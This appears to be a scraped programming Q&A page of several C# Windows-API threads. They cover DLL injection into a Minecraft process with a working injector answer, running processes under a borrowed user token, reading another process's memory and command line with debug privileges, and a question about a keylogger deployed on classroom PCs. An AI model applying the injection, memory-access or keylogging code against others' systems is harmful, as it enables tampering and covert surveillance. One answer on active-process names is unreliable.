when I try to inject a DLL with C# into a java process (Minecraft specifically) I get an error "ERROR 6", I've been googling this error but couldnt find a solution.
The program is run in administrator mode, and it isnt trying to load from an admin path.
My code:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Launcher
{
internal class InjectionUtils
{
public struct CTX_PROCS
{
public Process[] procs;
}
private const int PROCESS_CREATE_THREAD = 2;
private const int PROCESS_QUERY_INFORMATION = 1024;
private const int PROCESS_VM_OPERATION = 8;
private const int PROCESS_VM_WRITE = 32;
private const int PROCESS_VM_READ = 16;
private const uint MEM_COMMIT = 4096u;
private const uint MEM_RESERVE = 8192u;
private const uint PAGE_READWRITE = 4u;
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint option);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
private static extern uint GetLastError();
private void MBox(string text)
{
InjectionUtils.MessageBox(IntPtr.Zero, text, "", 0u);
}
public void DoInjection(string dllPath)
{
InjectionUtils.CTX_PROCS cTX_PROCS = this.FindProcessByNameAndTitle("javaw", "Minecraft 1.7");
this.InjectDynamicLib(dllPath, cTX_PROCS.procs[0].Id);
}
public InjectionUtils.CTX_PROCS FindProcessByNameAndTitle(string processName, string title)
{
InjectionUtils.CTX_PROCS result = default(InjectionUtils.CTX_PROCS);
List<Process> list = new List<Process>();
Process[] processes = Process.GetProcesses();
for (int i = 0; i < processes.Length; i++)
{
Process process = processes[i];
if (process.ProcessName.Equals(processName) && process.MainWindowTitle.Contains(title))
{
list.Add(process);
}
}
result.procs = list.ToArray();
return result;
}
public void eject()
{
}
private bool InjectDynamicLib(string dllPath, int pId)
{
bool result = false;
IntPtr intPtr = InjectionUtils.OpenProcess(1082, false, pId);
uint num = (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char)));
if (intPtr != IntPtr.Zero)
{
IntPtr procAddress = InjectionUtils.GetProcAddress(InjectionUtils.GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr intPtr2 = InjectionUtils.VirtualAllocEx(intPtr, IntPtr.Zero, num, 12288u, 4u);
UIntPtr uIntPtr;
// Write path of dll to remote process
if (InjectionUtils.WriteProcessMemory(intPtr, intPtr2, Encoding.Default.GetBytes(dllPath), num, out uIntPtr))
{
InjectionUtils.CloseHandle(InjectionUtils.CreateRemoteThread(intPtr, IntPtr.Zero, 0u, procAddress, intPtr2, 0u, IntPtr.Zero));
result = true;
}
InjectionUtils.CloseHandle(intPtr);
}
if (InjectionUtils.GetLastError() != 0u)
{
this.MBox("ERROR " + InjectionUtils.GetLastError());
}
return result;
}
If anyone could help I would appreciate it dearly :)
Thanks in advance :D
From MSDN Error Code List:
ERROR_INVALID_HANDLE
0x6
Before you call GetLastError() you call CloseHandle() twice, once on the thread handle and on the process handle.
To find the problem just check the returns from OpenProcess() and CreateRemoteThread() and compare against the info you find in the functions documentation on MSDN.
For a simple no frills C# injector, this is the code I like to use which includes some error checking and uses the managed Process::Dispose() method instead of calling the native CloseHandle() at least on the process handle:
public static bool InjectDLL(string dllpath, string procname)
{
Process[] procs = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(procname));
if (procs.Length == 0)
{
return false;
}
Process proc = procs[0];
if (proc.Handle != IntPtr.Zero)
{
IntPtr loc = VirtualAllocEx(proc.Handle, IntPtr.Zero, MAX_PATH, AllocationType.Commit | AllocationType.Reserve,
MemoryProtection.ReadWrite);
if (loc.Equals(0))
{
return false;
}
IntPtr bytesRead = IntPtr.Zero;
bool result = WriteProcessMemory(proc.Handle, loc, dllpath.ToCharArray(), dllpath.Length, out bytesRead);
if (!result || bytesRead.Equals(0))
{
return false;
}
IntPtr loadlibAddy = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(proc.Handle, IntPtr.Zero, 0, loadlibAddy, loc, 0, out _);
if (!hThread.Equals(0))
{
CloseHandle(hThread);
}
else return false;
}
else return false;
//this will CloseHandle automatically using the managed method
proc.Dispose();
return true;
}
Make sure to run as admin and pinvoke any missing definitions.
Related
The first Call to Launch Method Write Into file echo1, but I can't capture the standard output of the second line of the test, what I am doing wrong?
[TestMethod]
public void Launch()
{
var resp = ProcessAsUserTest.ProcessAsUser.Launch("cmd.exe /c \"echo 1\" >> c:\\temp\\echo1");
var resp1 = ProcessAsUserTest.ProcessAsUser.Launch("cmd.exe /c \"echo 1\"");
Assert.AreEqual("1", resp1);
}
I was follow this thread but It has not answer: Capture standard output from CreateProcessAsUser in C#
I get the implementation from https://social.msdn.microsoft.com/Forums/vstudio/en-US/0c0ca087-5e7b-4046-93cb-c7b3e48d0dfb/how-run-client-application-as-a-windows-service-in-c?forum=csharpgeneral
and I've edited the code to get standard output same as the first link without answer.
Here the implementation:
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace ProcessAsUserTest
{
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct SECURITY_ATTRIBUTES
{
public uint nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
internal enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
internal enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
[Flags]
enum HANDLE_FLAGS
{
INHERIT = 1,
}
public class ProcessAsUser
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx", SetLastError = true)]
private static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
Int32 ImpersonationLevel,
Int32 dwTokenType,
ref IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
UInt32 DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("userenv.dll", SetLastError = true)]
private static extern bool CreateEnvironmentBlock(
ref IntPtr lpEnvironment,
IntPtr hToken,
bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
private static extern bool DestroyEnvironmentBlock(
IntPtr lpEnvironment);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CreateNamedPipe(string name, int openMode, int pipeMode, int maxInstances, int outBufSize, int inBufSize, int timeout, IntPtr lpPipeAttributes);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr CreateFile(string lpFileName, int dwDesiredAccess, int dwShareMode, IntPtr lpSecurityAttributes, int dwCreationDisposition, int dwFlagsAndAttributes, HandleRef hTemplateFile);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr GetStdHandle(int whichHandle);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(IntPtr process, ref UInt32 exitCode);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetHandleInformation(IntPtr hObject, HANDLE_FLAGS dwMask, HANDLE_FLAGS dwFlags);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int GetConsoleOutputCP();
[DllImport("kernel32.dll")]
static extern int WaitForSingleObject(IntPtr hHandle, int dwMilliseconds);
private const short SW_SHOW = 5;
private const short SW_HIDE = 0;
private const uint TOKEN_QUERY = 0x0008;
private const uint TOKEN_DUPLICATE = 0x0002;
private const uint TOKEN_ASSIGN_PRIMARY = 0x0001;
private const int GENERIC_ALL_ACCESS = 0x10000000;
private const int STARTF_USESHOWWINDOW = 0x00000001;
private const int STARTF_FORCEONFEEDBACK = 0x00000040;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const int STD_INPUT_HANDLE = -10;
private static readonly IntPtr INVALID_HANDLE_VALUE = (IntPtr)(-1);
private static readonly HandleRef NullHandleRef = new HandleRef(null, IntPtr.Zero);
private static string LaunchProcessAsUser(string cmdLine, IntPtr token, IntPtr envBlock)
{
bool result = false;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
SECURITY_ATTRIBUTES saProcess = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES saThread = new SECURITY_ATTRIBUTES();
saProcess.nLength = (uint)Marshal.SizeOf(saProcess);
saThread.nLength = (uint)Marshal.SizeOf(saThread);
IntPtr stdoutReadHandle = IntPtr.Zero;
SafeFileHandle safeHandle = null;
IntPtr stdoutWriteHandle = IntPtr.Zero;
IntPtr stdinHandle = GetStdHandle(STD_INPUT_HANDLE);
try
{
CreatePipe(out stdoutReadHandle, out stdoutWriteHandle, false);
SetHandleInformation(stdoutReadHandle, HANDLE_FLAGS.INHERIT, 0);
STARTUPINFO si = new STARTUPINFO();
si.cb = (uint)Marshal.SizeOf(si);
//if this member is NULL, the new process inherits the desktop
//and window station of its parent process. If this member is
//an empty string, the process does not inherit the desktop and
//window station of its parent process; instead, the system
//determines if a new desktop and window station need to be created.
//If the impersonated user already has a desktop, the system uses the
//existing desktop.
si.lpDesktop = #"WinSta0\Default"; //Modify as needed
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_FORCEONFEEDBACK;
si.wShowWindow = SW_SHOW;
si.hStdInput = stdinHandle;
si.hStdOutput = stdoutWriteHandle;
si.hStdOutput = stdoutWriteHandle;
//Set other si properties as required.
result = CreateProcessAsUser(
token,
null,
cmdLine,
ref saProcess,
ref saThread,
false,
CREATE_UNICODE_ENVIRONMENT,
envBlock,
null,
ref si,
out pi);
if (result == false)
{
int error = Marshal.GetLastWin32Error();
string message = String.Format("CreateProcessAsUser Error: {0}", error);
Debug.WriteLine(message);
}
var ret = WaitForSingleObject(pi.hProcess, 100000);
//Console.Write("WaitForSingleObject returned " + ret);
//ret==258 (0x102) - not signalled, ret==0 ok!
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(stdoutWriteHandle);
CloseHandle(stdinHandle);
safeHandle = new SafeFileHandle(stdoutReadHandle, true);
string outputData;
var encoding = Encoding.GetEncoding(GetConsoleOutputCP());
using (var fs = new FileStream(safeHandle, FileAccess.Read, 0x1000, true))
using (var reader = new StreamReader(fs, encoding))
{
outputData = reader.ReadToEnd();
}
return outputData;
}
finally
{
if (!safeHandle.IsClosed)
{
safeHandle.Close();
}
}
}
private static IntPtr GetPrimaryToken(int processId)
{
IntPtr token = IntPtr.Zero;
IntPtr primaryToken = IntPtr.Zero;
bool retVal = false;
Process p = null;
try
{
p = Process.GetProcessById(processId);
}
catch (ArgumentException ex)
{
string details = String.Format("ProcessID {0} Not Available, More: {1}", processId, ex.Message);
throw new ArgumentException(details);
}
//Gets impersonation token
retVal = OpenProcessToken(p.Handle, TOKEN_DUPLICATE, ref token);
if (retVal == true)
{
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.nLength = (uint)Marshal.SizeOf(sa);
//Convert the impersonation token into Primary token
retVal = DuplicateTokenEx(
token,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY,
ref sa,
(int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
(int)TOKEN_TYPE.TokenPrimary,
ref primaryToken);
//Close the Token that was previously opened.
CloseHandle(token);
if (retVal == false)
{
string message = String.Format("DuplicateTokenEx Error: {0}", Marshal.GetLastWin32Error());
throw new Exception(message);
}
}
else
{
string message = String.Format("OpenProcessToken Error: {0}", Marshal.GetLastWin32Error());
Debug.WriteLine(message);
}
//We'll Close this token after it is used.
return primaryToken;
}
private static IntPtr GetEnvironmentBlock(IntPtr token)
{
IntPtr envBlock = IntPtr.Zero;
bool retVal = CreateEnvironmentBlock(ref envBlock, token, false);
if (retVal == false)
{
//Environment Block, things like common paths to My Documents etc.
//Will not be created if "false"
//It should not adversley affect CreateProcessAsUser.
string message = String.Format("CreateEnvironmentBlock Error: {0}", Marshal.GetLastWin32Error());
Debug.WriteLine(message);
}
return envBlock;
}
public static string Launch(string appCmdLine /*,int processId*/)
{
string ret = "";
//Either specify the processID explicitly
//Or try to get it from a process owned by the user.
//In this case assuming there is only one explorer.exe
Process[] ps = Process.GetProcessesByName("explorer");
int processId = -1;//=processId
if (ps.Length > 0)
{
processId = ps[0].Id;
}
if (processId > 1)
{
IntPtr token = GetPrimaryToken(processId);
if (token != IntPtr.Zero)
{
IntPtr envBlock = GetEnvironmentBlock(token);
ret = LaunchProcessAsUser(appCmdLine, token, envBlock);
if (envBlock != IntPtr.Zero)
DestroyEnvironmentBlock(envBlock);
CloseHandle(token);
}
}
return ret;
}
private static void CreatePipe(out IntPtr parentHandle, out IntPtr childHandle, bool parentInputs)
{
string pipename = #"\\.\pipe\" + Guid.NewGuid().ToString();
parentHandle = CreateNamedPipe(pipename, 0x40000003, 0, 0xff, 0x1000, 0x1000, 0, IntPtr.Zero);
if (parentHandle == INVALID_HANDLE_VALUE)
{
throw new Exception("Invalid Handle Exception.");
}
int childAcc = 0x40000000;
if (parentInputs)
{
childAcc = -2147483648;
}
childHandle = CreateFile(pipename, childAcc, 3, IntPtr.Zero, 3, 0x40000080, NullHandleRef);
if (childHandle == INVALID_HANDLE_VALUE)
{
throw new Exception("Invalid Handle Exception.");
}
}
}
}
NOTE: It is a sample code only, In real code I want to take a screenshot of the desktop from Window Service using another process, In the context of explorer.exe, because windows service cannot access to desktop directly and need another context to do it.
Same thread:https://social.msdn.microsoft.com/Forums/vstudio/en-US/19ff0bb0-924f-4f9c-9b71-ff4ee4ccaf50/standard-output-from-createprocessasuser-always-empty-in-c?forum=csharpgeneral#19ff0bb0-924f-4f9c-9b71-ff4ee4ccaf50
If you need more information please tell me, thanks!
I tried get current active application name (or process name) but in some application like Microsoft Edge is result ApplicationFrameHost. Is there way to get application name such as in Task manager?
My actual code:
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("user32.dll")]
public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint processId);
private string GetActiveProcess()
{
const int nChars = 256;
uint processId;
StringBuilder Buff = new StringBuilder(nChars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
GetWindowThreadProcessId(handle, out processId);
return Process.GetProcessById((int)processId).ProcessName;
}
return null;
}
This solution looks functional for me in form application:
//aktivneOknoProces
string aktivneOknoProces = GetActiveProcess();
private Process _realProcess;
private string GetActiveProcess()
{
string app = "";
var foregroundProcess = Process.GetProcessById(WinAPIFunctions.GetWindowProcessId(WinAPIFunctions.GetforegroundWindow()));
if (foregroundProcess.ProcessName == "ApplicationFrameHost")
{
foregroundProcess = GetRealProcess(foregroundProcess);
}
if(foregroundProcess != null)
{
app = foregroundProcess.ProcessName;
}
return app;
}
private Process GetRealProcess(Process foregroundProcess)
{
WinAPIFunctions.EnumChildWindows(foregroundProcess.MainWindowHandle, ChildWindowCallback, IntPtr.Zero);
return _realProcess;
}
private bool ChildWindowCallback(IntPtr hwnd, IntPtr lparam)
{
var process = Process.GetProcessById(WinAPIFunctions.GetWindowProcessId(hwnd));
if (process.ProcessName != "ApplicationFrameHost")
{
_realProcess = process;
}
return true;
}
public class WinAPIFunctions
{
//Used to get Handle for Foreground Window
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetForegroundWindow();
//Used to get ID of any Window
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
public delegate bool WindowEnumProc(IntPtr hwnd, IntPtr lparam);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool EnumChildWindows(IntPtr hwnd, WindowEnumProc callback, IntPtr lParam);
public static int GetWindowProcessId(IntPtr hwnd)
{
int pid;
GetWindowThreadProcessId(hwnd, out pid);
return pid;
}
public static IntPtr GetforegroundWindow()
{
return GetForegroundWindow();
}
}
I believe what you are looking for is this:
Process.GetCurrentProcess().ProcessName
GetCurrentProcess
ProcessName
That should give you the name of the curent process
I found wj32 post about how to read the command line of specified process via WinAPI. I try to translate that example on C# and I've a few questions. I can get a valid pointer to the field CommandLine of RTL_USER_PROCESS_PARAMETERS structure but the difficalty is getting the string itself. Should I use unsafe code? How to correctly get CommandLine of a process using wj32's example?
using System;
using System.Runtime.InteropServices;
namespace CommandLine {
internal static class NativeMethods {
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern Boolean CloseHandle(
IntPtr hObject
);
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern IntPtr OpenProcess(
UInt32 dwDesiredAccess,
[MarshalAs(UnmanagedType.Bool)]
Boolean bInheritHandle,
Int32 dwProcessId
);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern Boolean ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
out IntPtr lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesRead
);
[DllImport("ntdll.dll")]
internal static extern Int32 NtQueryInformationProcess(
IntPtr ProcessHandle,
UInt32 ProcessInformationClass,
ref PROCESS_BASIC_INFORMATION ProcessInformation,
UInt32 ProcessInformationLength,
IntPtr ReturnLength
);
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION {
internal Int32 ExitProcess;
internal IntPtr PebBaseAddress;
internal IntPtr AffinityMask;
internal Int32 BasePriority;
internal IntPtr UniqueProcessId;
internal IntPtr InheritedFromUniqueProcessId;
internal UInt32 Size {
get { return (UInt32)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
}
}
[StructLayout(LayoutKind.Sequential)]
internal struct UNICODE_STRING {
internal UInt16 Length;
internal UInt16 MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
internal String Buffer;
}
}
internal sealed class Program {
private const UInt32 PROCESS_QUERY_INFORMATION = 0x400;
private const UInt32 PROCESS_VM_READ = 0x010;
[STAThread()]
static void Main(String[] args) {
if (args.Length != 1) return;
Int32 pid;
if (!Int32.TryParse(args[0], out pid)) return;
IntPtr proc;
NativeMethods.PROCESS_BASIC_INFORMATION pbi = new NativeMethods.PROCESS_BASIC_INFORMATION();
IntPtr rupp; //RTL_USER_PROCESS_PARAMETERS
IntPtr cmdl; //CommandLine field
IntPtr read;
if ((proc = NativeMethods.OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid
)) == IntPtr.Zero) return;
if (NativeMethods.NtQueryInformationProcess(proc, 0, ref pbi, pbi.Size, IntPtr.Zero) == 0) {
if (NativeMethods.ReadProcessMemory(
proc, (IntPtr)(pbi.PebBaseAddress.ToInt32() + 0x10), out rupp, IntPtr.Size, out read
)) {
if (NativeMethods.ReadProcessMemory(
proc, (IntPtr)(rupp.ToInt32() + 0x40), out cmdl,
Marshal.SizeOf(typeof(NativeMethods.UNICODE_STRING)), out read
)) {
// what I need to do to get command line?
}
}
}
NativeMethods.CloseHandle(proc);
}
}
}
OK, I've tested this version on a couple of processes. Note that it works on 32-bit processes only as the memory layout is different for 64-bit. I'm short of time to write up why I've made the changes I have but hopefully you can work with this. If I get some time I'll come back and update the answer
using System;
using System.Runtime.InteropServices;
namespace CommandLine
{
internal static class NativeMethods
{
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern Boolean CloseHandle(
IntPtr hObject
);
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern IntPtr OpenProcess(
UInt32 dwDesiredAccess,
[MarshalAs(UnmanagedType.Bool)]
Boolean bInheritHandle,
Int32 dwProcessId
);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern Boolean ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesRead
);
[DllImport("ntdll.dll")]
internal static extern Int32 NtQueryInformationProcess(
IntPtr ProcessHandle,
UInt32 ProcessInformationClass,
ref PROCESS_BASIC_INFORMATION ProcessInformation,
UInt32 ProcessInformationLength,
IntPtr ReturnLength
);
[StructLayout(LayoutKind.Sequential, Pack=1)]
internal struct PROCESS_BASIC_INFORMATION
{
internal Int32 ExitProcess;
internal IntPtr PebBaseAddress;
internal IntPtr AffinityMask;
internal Int32 BasePriority;
internal IntPtr UniqueProcessId;
internal IntPtr InheritedFromUniqueProcessId;
internal UInt32 Size
{
get { return (UInt32)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
}
}
[StructLayout(LayoutKind.Sequential, Pack=1)]
internal struct UNICODE_STRING
{
internal UInt16 Length;
internal UInt16 MaximumLength;
internal IntPtr buffer;
}
}
internal sealed class Program
{
private const UInt32 PROCESS_QUERY_INFORMATION = 0x400;
private const UInt32 PROCESS_VM_READ = 0x010;
[STAThread()]
static void Main(String[] args)
{
if (args.Length != 1) return;
Int32 pid;
if (!Int32.TryParse(args[0], out pid)) return;
IntPtr proc;
NativeMethods.PROCESS_BASIC_INFORMATION pbi = new NativeMethods.PROCESS_BASIC_INFORMATION();
IntPtr read;
if ((proc = NativeMethods.OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid
)) == IntPtr.Zero) return;
if (NativeMethods.NtQueryInformationProcess(proc, 0, ref pbi, pbi.Size, IntPtr.Zero) == 0)
{
byte[] rupp = new byte[IntPtr.Size];
if (NativeMethods.ReadProcessMemory(
proc, (IntPtr)(pbi.PebBaseAddress.ToInt32() + 0x10), rupp, IntPtr.Size, out read
))
{
Int32 ruppPtr = BitConverter.ToInt32(rupp,0);
byte[] cmdl = new byte[Marshal.SizeOf(typeof(NativeMethods.UNICODE_STRING))];
if (NativeMethods.ReadProcessMemory(
proc, (IntPtr)(ruppPtr + 0x40), cmdl,
Marshal.SizeOf(typeof(NativeMethods.UNICODE_STRING)), out read
))
{
NativeMethods.UNICODE_STRING ucsData;
ucsData = ByteArrayToStructure<NativeMethods.UNICODE_STRING>(cmdl);
byte[] parms =new byte[ucsData.Length];
if (NativeMethods.ReadProcessMemory(
proc, ucsData.buffer, parms,
ucsData.Length, out read
))
{
var s = System.Text.Encoding.Unicode.GetString(parms);
Console.WriteLine("Parameters = {0}", s);
}
}
}
}
NativeMethods.CloseHandle(proc);
}
static T ByteArrayToStructure<T>(byte[] bytes) where T : struct
{
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T stuff = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return stuff;
}
}
}
I'm trying to read the memory of a process.
The actual code loops through the process' memory and searches for values but this is the general idea.
I'm compiling for x64 and attempting to read x64 processes.
This code fails after the call to VirtualProtectEx with either error code 5 (ERROR_ACCESS_DENIED) or error code 487 (ERROR_INVALID_ADDRESS) depending on the process selected.
Am I reading the process' memory in the correct way?
How can VirtualProtectEx fail with access denied?
Are there other protection methods I haven't considered?
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
namespace ReadProcessMemoryTest {
public class Program {
public static void Main(string[] args) {
string processName = "ProcessName";
IntPtr startAddress = new IntPtr(0x00000000);
IntPtr endAddress = new IntPtr(0x7FFFFFFF);
uint bytesToRead = 8;
int errorCode = 0;
// Ensure running as admin
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
if(!principal.IsInRole(WindowsBuiltInRole.Administrator)){
throw new Exception("Not running as administrator");
}
// Turn on SeDebugPrivilege
Process.EnterDebugMode();
// Select the process
Process process = Process.GetProcessesByName(processName)[0];
// Get a handle to the process with all access rights
IntPtr processHandle = OpenProcess(0x001F0FFF, 1, (uint)process.Id);
// Check for errors
errorCode = Marshal.GetLastWin32Error();
if(errorCode != 0) {
throw new Exception("OpenProcess error: " + errorCode);
}
// Set the protection level of these 8 bytes to execute, read and write
uint prevProtection = 0;
VirtualProtectEx(processHandle, startAddress, new UIntPtr(bytesToRead), 0x40, out prevProtection);
// Check for errors
errorCode = Marshal.GetLastWin32Error();
if(errorCode != 0) {
throw new Exception("VirtualProtectEx error: " + errorCode);
}
// Read some bytes into an array
byte[] buffer = new byte[bytesToRead];
IntPtr bytesRead;
ReadProcessMemory(processHandle, startAddress, buffer, bytesToRead, out bytesRead);
// Check for errors
errorCode = Marshal.GetLastWin32Error();
if(errorCode != 0) {
throw new Exception("ReadProcessMemory error: " + errorCode);
}
// Close the process handle
CloseHandle(processHandle);
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Int32 bInheritHandle, UInt32 dwProcessId);
[DllImport("kernel32.dll")]
public static extern Int32 CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [In, Out] byte[] buffer, UInt32 size, out IntPtr lpNumberOfBytesRead);
}
}
EnterDebugMode() is not enough, you need to explicitly AdjustTokenPrivileges
using System;
using System.Runtime.InteropServices;
public class TokenManipulator
{
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public static bool AddPrivilege(string privilege)
{
try
{
bool retVal;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
return retVal;
}
catch (Exception ex)
{
throw ex;
}
}
On my computer, and on few of other computers (laptops, if it important) the program works, but on all PCs in our classroom - it works only if the console application window is in focus.
Of course on the PC user does not have full rights, but that in fact should not interfere with low-level hooks? Moreover, I specifically created a user account with limited rights on my laptop and everything worked right.
On some forums I was told that it could be due to the bit width of programs. What do you think about it?
Here is the code of the keylogger class.
P.S. Functions GetSymbolENG and GetSymbolRUS is just a switch-case for the Russian layout and additional symbols.
P.S.S Sorry for my english.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
